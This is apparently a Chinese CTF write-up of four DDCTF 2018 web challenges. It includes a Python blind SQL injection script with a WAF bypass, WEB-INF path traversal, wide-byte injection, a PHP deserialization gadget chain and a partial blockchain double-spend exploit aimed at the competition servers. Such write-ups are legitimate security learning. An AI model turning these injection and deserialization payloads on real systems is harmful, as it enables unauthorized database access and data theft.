1.数据库的秘密
访问链接:http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php

加一个X-Forwarded-For:123.232.23.245

测试了下,看到的三个参数都是被过滤了的 暂时找不到注入点,翻一下源码
发现author被隐藏了,极有可能是注入点,被隐藏了不好测试,不要慌burpsuite可以帮到我们,在Proxy->Options中做如下操作:

我们可以看到多出来一个测试框,这个框对应的便是author参数,输入admin' and 1# 发现返回正确,足以确定是注入点,进行测试发现 出现union select 一起便会被狗拦截,看来只好用盲注了。再仔细看请求url,
http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/index.php?sig=748581f83d9e830cc8c0eaffa16d15ea3f347af6&time=1528767547
会发现多了一个sig和time参数,这应该是由js生成的,找一下代码有个math.js和main.js
果然在代码最后可以发现time和sign的生成,并将代码改为如上图所示。就可以用execjs在python执行js代码算出time和sign加到url中,最后附上python代码
# -*- coding:utf-8 -*-
#written by python3.5
import requests
import execjs
tryStr = "DCTFQWERYUIOPASGHJKLZXVBN{}_qwertyuiopasdfghjklzxcvbnm1234567890_@-M"
headers = {
"x-forwarded-for": "123.232.23.245",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
}
def tryFlag(source, payload):
data = ""
truePayload = "test' && if(ascii(substr(({query}), {strOffset},1)) = {aStr},1,0)#"
for i in range(1, 40):
index = 0
while index <= len(tryStr):
try:
j = tryStr[index]
strQuery = truePayload.format(
query=payload.format(spos=0), strOffset=i, aStr=str(ord(j)))
obj = source.eval('obj')
obj['author'] = strQuery
print(obj)
getStr = source.call("submitt", strQuery)
url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/"
url += getStr
req = requests.post(url, data=obj, headers=headers)
# print(req.text)
if "time error" in req.text:
index -= 1
if "sig error" in req.text:
index -= 1
if "test" in req.text:
data += j
print("data: " + data)
break
if j == 'M' and "test" not in req.text:
print(data)
return
index += 1
except Exception:
pass
def main():
payload1 = "select schema_name from information_schema.schemata limit {spos},1"
payload2 = "select table_name from information_schema.tables where table_schema =0x6464637466 limit {spos},1"
payload3 = "select column_name from information_schema.columns where table_name=0x6374665f6b657931 limit {spos},1"
payload4 = "select secvalue from ctf_key1 limit {spos},1"
with open("web1.js", "r") as f:
source = f.read()
source = execjs.compile(source)
tryFlag(source, payload4)
if __name__ == '__main__':
main()
2.专属链接

访问:http://116.85.48.102:5050/welcom/8acb825dsc139s4f1bsb16es14f7875f8f23 ,页面并没有什么值得注意对的地方,查看源码,发现以下几个可疑的地方:

![]()
第一:邮箱:[email protected]
第二:奇怪的base64字符串:ZmF2aWNvbi5pY28= 解码后:favicon.ico
第三:提示:<!--/flag/testflag/yourflag-->
我们先访问第二那个href,在里面发现这句话:you can only download .class .xml .ico .ks files,可以下载.class .xml等文件,那要怎么下载呢?目前还不知道,继续利用第三个提示。输入:如下图所示
很明显是个java写的后台,里面的错误信息爆出了一些类文件,最主要的是蓝色部分的flag控制文件,结合前面的可以下载.class 文件,思路便很晰: 我们需要下载关于flag的相关.class文件,但我们还不知道有哪些文件、和文件的目录啊。不要慌(两种方法),一些老手看到这里便会轻易的知道一种文件泄露方式:
WEB-IN

第二种方法:专属链接??访问:http://116.85.48.102:5050/login,可以看到这样一个平台,通过在github上搜索源码,可以找到源码,从而拿到文件

配置我们先尝试访问下配置文件:WEB-INF/web.xml,在第二个提示中修改base64编码字符串为WEB-INF/web.xml试一试,发现没有东西,那有可能是嵌套了目录的试一试../WEB-INF/web.xml和../../WEB-INF/web.xml:在../../WEB-INF/web.xml发现配置信息
分别将applicationContext.xml、上面蓝色部分的源码、com.didichuxing.ctf.listener.InitListener(../../WEB-IBF/classes/****)下载,将后两者者通过jd-gui进行反编译:

INITListener:

正好最近在学JAVA,大致看得懂代码:
- 导入emails.txt(即提示一的那串字符串)
- 消息认证算法HmacSha256和私钥“sdl welcome you”对email进行加密
- 将加密后的email发送到/getflag/{email:xxx},会返回一个加了密的flag
- 由于flag是用的RSA算法和sdl.k生成的私钥经行加密(一般来说,公钥是用来加密的,私钥用来解密的,在加解密文件时而在进行认证时,如:ssh 登陆服务器时用的时私钥加密,将加密后的字符串发向服务器,服务器用公钥进行验证,如果成功,则登陆成功),所以我们需要用公钥对其进行验证,验证后的结果便是flag
对email进行加密的代码(也可以通过网站:http://tool.oschina.net/encrypt 进行HmacSHA256加密):
package caclEmail;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class CalcEmail {
public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeyException{
String email = "[email protected]";
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
byte[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());
System.out.println(byte2hex(e));
}
public static String byte2hex(byte[] b)
{
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++)
{
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1) {
hs.append('0');
}
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
}

获得加密后的字符串,在进行flag的解密:
package decode;
import java.io.FileInputStream;
import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
public class Decode {
public static void main(String[] args) throws KeyStoreException, NoSuchAlgorithmException, CertificateException, IOException, UnrecoverableKeyException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
String ksPath = "C:\\Users\\ycb\\Desktop\\DDCTF文件2018\\web2\\sdl.ks";
String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
String encodeFlag = "019312D7231329ADEB986C6F994D7148B74AF9282B515F80F58A88BCE863F8848600CA69C4BE8F0D3BE3486B4FB7445C15169085F1DFE4D4B8439EF3472B50DE22D6E09BCCBC56542541D0C8F148B658005C2DD89202AEBF765998C2FA6AA197E5F6277587E78498F7E0A111429D3E1BEE2F4DD17224C0599FFA2FC1EE69B2521EEB96859EEB3D65DA88FED274739B208A81AF6280CF233B2064C6DB513AB9D53B010A456B8073C8C950E29034628C957108E7173390FBB4665229A6A9949188C8A5D43AE7CDB6244F082EF90EB3D2E126764CF90DE716A2150652AE3C13C0B457BD76E9BF1F9936AD85474CEDB23472039B5EC3387EF4FB5D5E3BD0FA681CDE";
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
System.out.println(key.getAlgorithm());
Cipher cipher1 = Cipher.getInstance(key.getAlgorithm());
Key pubKey = keyStore.getCertificate("www.didichuxing.com").getPublicKey();
cipher1.init(Cipher.DECRYPT_MODE, pubKey);
byte[] flag = cipher1.doFinal(hex2Byte(encodeFlag));
System.out.println(new String(flag));
}
/*public static String byte2Hex(byte[] b) {
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++) {
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1)
hs.append('0');
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
*/
public static byte[] hex2Byte(String hexString) {
if(hexString == null || hexString.equals("")) return null;
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
byte[] d = new byte[length];
int i;
for(i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte)(strToByte(hexString.charAt(pos)) << 4 | strToByte(hexString.charAt(pos+1)));
}
return d;
}
public static byte strToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
}
得出答案:DDCTF{5218295657878818503}
3.注入的奥妙
访问:http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1

试一试在1后面添加个单引号,有过滤,先查看下源码

在源码中找到这样一段提示,访问,发现是big5编码,网上一搜发现是宽字节注入,寻找以5c结尾的汉字:苒

进行测试:发现会过滤union、select等关键字,试一试uniunionon 发现可以绕过,证明其waf写法应该是将关键字替换为空


得到如下信息:访问static/bootstrap/css/backup.css可以拿到源码备份,再通过post提交到/justtry/try便可拿到flag
看关键代码,很明显是个反序列化漏洞
<?php // Controller/Justtry.php public function try($serialize) { unserialize(urldecode($serialize), ["allowed_classes" => ["IndexHelperFlag", "IndexHelperSQL","IndexHelperTest"]]);
}
// Helper/Test.php
class Test
{
public $user_uuid;
public $fl;
public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
}
public function getflag($m = 'ctfuser', $u = 'default')
{
//TODO: check username
$user=array(
'name' => $m,
'id' => $u
);
//懒了直接输出给你们了
echo 'DDCTF{'.$this->fl->get($user).'}';
}
}
// Helper/Flag.php
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
public function get($user)
{
$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}
// Helper/SQL.php
class SQL
{
public $dbc;
public $pdo;
}
?>
在unserialize结束后会自动调用__destruct()函数执行getflag()函数获得flag,而flag又是从FLAG类里面的__construct()函数里的SQL类获得,所以我们可以构造如下一个反序列漏洞利用脚本:
<?php namespace Index\Helper; class Test{ public $user_uuid; public $fl; } class Flag{ public $sql; } class SQL{ public $dbc; public $pdo; } $a = new Test(); $a->user_uuid = "4128462f-89bf-4542-b54f-e7335137041f";
$a->fl = new Flag();
$a->fl->sql = new SQL();
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));
echo "\n";
?>
这里需要注意的是入口中允许序列化的名字即Index\Helper\Test等,最后再提交序列化后的字符串:

4.mini blockchain


# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import hashlib
import json
import rsa
import uuid
import os
from flask import Flask, session, redirect, url_for, escape, request
app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9ca5f959dd7e'
def FLAG():
return 'Here is your flag: DDCTF{******************}'
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x) + hash(y))
def has_attrs(d, attrs):
if type(d) != type({}):
raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0' * 64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'):
hexed = hexed[:-1]
if hexed.startswith('0x'):
hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash']
for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(
id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''):
raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128:
raise Exception('the nonce is too long')
block = {'prev': prev_block_hash,
'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])
def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
def append_block(block, difficulty=int('f' * 64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''):
block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''):
block['nonce'] = str(block['nonce'])
if block['prev'] not in session['blocks']:
raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)
if type(block['transactions']) != type([]):
raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''):
utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''):
utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''):
raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids:
raise Exception(
"output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1):
raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception( "invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception( "type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception( "lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type( u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception( "invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception( "Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input:
raise Exception(
"You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty:
raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height'] + 1
if len(session['blocks']) > 50:
raise Exception(
'The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']:
raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
# create DDCoins from nothing
genesis_transaction = create_tx([], [total_currency_issued])
genesis_block = create_block(
EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [
handout, reserved], bank_privkey)
second_block = create_block(
genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
# Can you buy 2 diamonds using all DDCoins?
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
@app.route(url_prefix + '/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + \
session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + \
hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement + ('
\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
@app.route(url_prefix + '/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2:
return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
def find_enough_utxos(utxos, addr_from, amount):
collected = []
for utxo in utxos.values():
if utxo['addr'] == addr_from:
amount -= utxo['amount']
collected.append(utxo['id'])
if amount <= 0:
return collected, -amount
raise Exception('no enough DDCoins in ' + addr_from)
def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs = [create_output_utxo(addr_to, amount)]
if the_change != 0:
outputs.append(create_output_utxo(addr_from, the_change))
return create_tx(input_utxo_ids, outputs, privkey)
@app.route(url_prefix + '/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
balance, utxos, tail = get_balance_of_all()
if balance[bank_address] == 0:
return 'The bank has no money now.'
try:
address = str(address)
addr_to_pubkey(address) # to check if it is a valid address
transferred = transfer(utxos, bank_address, address,
balance[bank_address], bank_privkey)
new_block = create_block(
tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
append_block(new_block)
return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
except Exception, e:
return 'ERROR: ' + str(e)
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(
utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(
tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix + '/reset')
def reset_blockchain():
if 'blocks' in session:
del session['blocks']
if 'genesis_block_hash' in session:
del session['genesis_block_hash']
return 'reset.'
@app.route(url_prefix + '/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
html += line.replace('&', '&').replace('\t', ' ' * 4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '
')
source.close()
return html
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
0x00前言
1.比特币基础
- 被掌控在发行机构手中;
- 自身的价值无法保证;
- 无法匿名化交易。
2.区块链
3.区块
- index: 区块在区块链中的位置;
- timestamp: 区块产生的时间;
- transactions: 区块包含的交易;
- previousHash: 前一个区块的Hash值;
- hash: 当前区块的Hash值;
- nonce:算力证明,(靠这个拿钱)
0x02题目分析


@app.route(url_prefix + '/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + \
session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + \
hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement + ('
\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
跟踪init()
def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
# create DDCoins from nothing
genesis_transaction = create_tx([], [total_currency_issued])
genesis_block = create_block(
EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [
handout, reserved], bank_privkey)
second_block = create_block(
genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
# Can you buy 2 diamonds using all DDCoins?
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(
id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
生成每次交易transactions,再看append_block()
def append_block(block, difficulty=int('f' * 64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''):
block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''):
block['nonce'] = str(block['nonce'])
if block['prev'] not in session['blocks']:
raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)
if type(block['transactions']) != type([]):
raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''):
utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''):
utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''):
raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids:
raise Exception(
"output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1):
raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo") if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo") try: addr_to_pubkey(utxo['addr']) except: raise Exception( "invalid type of address({})".format(utxo['addr'])) utxo['hash'] = hash_utxo(utxo) tot_output = sum([utxo['amount'] for utxo in tx['output']]) if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array") if type(tx['signature']) != type([]): raise Exception( "type of input utxo signatures in tx should be array") if len(tx['input']) != len(tx['signature']): raise Exception( "lengths of arrays of ids and signatures of input utxos should be the same") tot_input = 0 tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']] tx['signature'] = [str(i) if type(i) == type( u'') else i for i in tx['signature']] for utxo_id, signature in zip(tx['input'], tx['signature']): if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo") if utxo_id not in utxos: raise Exception( "invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id)) utxo = utxos[utxo_id] if type(signature) != type(''): raise Exception("unknown type of signature of input utxo") if not verify_utxo_signature(utxo['addr'], utxo_id, signature): raise Exception( "Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id)) tot_input += utxo['amount'] del utxos[utxo_id] if tot_output > tot_input:
raise Exception(
"You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty:
raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height'] + 1
if len(session['blocks']) > 50:
raise Exception(
'The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']:
raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def burst(b, difficulty, msg=""):
nonce = 0
while nonce < 2**32:
b['nonce'] = msg + str(nonce)
b['hash'] = hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce += 1
@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(
utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(
tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg


0x03 payload
# -*- coding:utf-8 -*-
# written by python2.7
import hashlib
import json
import uuid
import requests
EMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)
# 以下四个常量填写自己的
GENESIS_BLOCK_HASH = "7cb4baca51b2502163d58cc34babf9b5b826f6b68246270ee399e742e42ad759"
SHOP_ADDR = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735"
INPUT = "e2bbbda8-2880-4452-9a40-728248e773e0"
SIGNATURE = "ae84bcbd023e98273af351dbf9da620bbda6a90de7e0d80dee473b2b9ffd0a4dc395b8b533fe5e79f1c5d1519c772a70"
s = requests.Session()
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x) + hash(y))
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash']
for utxo in tx['output']], EMPTY_HASH)
])
# 爆破区块
def burst(b, difficulty, msg=""):
nonce = 0
while nonce < 2**32:
b['nonce'] = msg + str(nonce)
b['hash'] = hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce += 1
# 获得空区块
def emptyBlock(prevHash, msg):
block = {}
block['prev'] = prevHash
block['transactions'] = []
return burst(block, DIFFICULTY, msg)
# 获得transactions
def getTrans():
utxo = {'id': str(uuid.uuid4()), 'addr': SHOP_ADDR, 'amount': 1000000}
utxo['hash'] = hash_utxo(utxo)
tx = {'input': [INPUT], 'signature': [SIGNATURE], 'output': [utxo]}
tx['hash'] = hash_tx(tx)
return [tx]
def headers(session):
headers = {
"Host": "116.85.48.107:5000",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8",
"Cookie": "session={}".format(session),
"Connection": "close",
"Content-Type": "application/json"
}
return headers
def myprint(b):
return json.dumps(b)
def main():
# session 修改为自己的cookie
